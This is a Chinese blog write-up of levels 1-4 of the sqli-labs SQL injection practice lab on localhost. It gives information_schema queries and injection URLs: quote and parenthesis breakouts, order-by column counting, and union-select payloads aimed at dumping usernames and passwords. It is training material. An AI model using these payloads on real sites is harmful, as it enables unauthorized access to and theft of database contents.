码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入--sqli-labs(1-4关)

时间:2020-01-31 15:55:44      阅读:116      评论:0      收藏:0      [点我收藏+]

标签:str   语句   security   查看   data   sql   sch   users   引号   

mysql的基本用法:

  查库:select schema_name from information_schema.schemata  等同于 show databases

技术图片

  查表:select table_name from information_schema.tables where table_schema=‘‘   等同于 show tables

技术图片

  查列:select column_name from information_schema.columns where table_name=‘‘  

技术图片

  查字段:select id,username,password from security.users  查询出security中的users表中的id、username和password

技术图片

  information_schema,系统数据库,包含所有数据库相关信息。

  information_schema.schemata中schema_name,字段为所有数据库名称。

  information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。

  information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table_name列也对应所有表名。

知识点:

  在MySQL数据库中,单行注释有#和--。在URL中,如果在最后加上--,浏览器在发送请求时会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。

第一关(Less-1):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1,显示正常

技术图片

  2.加个单引号,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘,提示语句出错

技术图片

  3.输入注释符--+,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘--+,显示正常,可知是单引号字符型注入

技术图片

  4.使用order by查列数,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3 --+,显示正常

技术图片

  输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 4 --+ ,显示没有4列,故有3列

技术图片

  5.使用union参数进行联合查询注入,union前面的数据报错才能执行union后面的数据,因此将id=1改为id=-1开始进行注入

技术图片

   如图所示,2,3为显示位,此时可在2或3的位置进行手注

  6.注当前数据库名,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ union select 1,database(),3 --+

技术图片

   7.注表名,

技术图片

  8.注某张表的字段,以user表为例

技术图片

   9.注字段的值,以user表中的username字段为例

技术图片

第二关(Less-2):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1,显示正常

技术图片

  2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1‘,发现报错,说明存在注入漏洞,错误原因存在单引号

技术图片

  3.去掉单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+,显示正常

技术图片

  4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+,显示Unknown column ‘4’,说明一共有三列

技术图片

  5.使用联合查询语句,查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示,可知回显位置为第二和第三位

技术图片

  6.手动注入,爆出所有的数据库名

技术图片

  7.爆出security中的所有表名

技术图片

  8.爆出users表中的所有列名

技术图片

   9.爆字段,爆出user表中username,password字段的所有列

技术图片

第三关(Less-3):

  1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1,显示正常

技术图片

  2.加单引号,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘,存在注入漏洞,错误提示多余一个单引号

技术图片

  3.再加上),输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘)--+,显示正常

技术图片

  4.查看有多少列,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 3 --+,显示正常,存在三列

技术图片

  5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 4 --+,提示没有四列,则只有三列

技术图片

  6.使用联合查询语句,查询回显位置,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1‘) union select 1,2,3  --+,如图,回显位置为2,3

技术图片

  7.手动注入,爆出所有数据库名

技术图片

  8.爆出security库中的所有表名

技术图片

  9.爆出users表中所有的列信息

技术图片

  10.爆字段,爆出users表中username,password列的所有信息

技术图片

第四关(Less-4):

  1.根据提示输入id,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1,显示正常

技术图片

  2.加单引号,进行报错测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1‘,没有显示任何的报错信息

技术图片

  3.加双引号进行测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1",出现报错,显示多出一个双引号

技术图片

  4.根据提示信息,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常

技术图片

  5.查询有多少列,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+,显示正常,说明有三列

技术图片

  6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+,根据错误提示可知,不存在四列,故有三列

技术图片

  7.联合查询,查询出回显位置,如图可知,回显位置为2,3

技术图片

  8.爆出所有数据库名

技术图片

  9.爆出security库中的所有表信息

技术图片

  10.爆出users表中的所有列信息

技术图片

  11.爆出users表中username,password列的所有信息

技术图片

 

 

 

 

 

 

 

 

 

  

SQL注入--sqli-labs(1-4关)

标签:str   语句   security   查看   data   sql   sch   users   引号   

原文地址:https://www.cnblogs.com/mxm0117/p/12241086.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!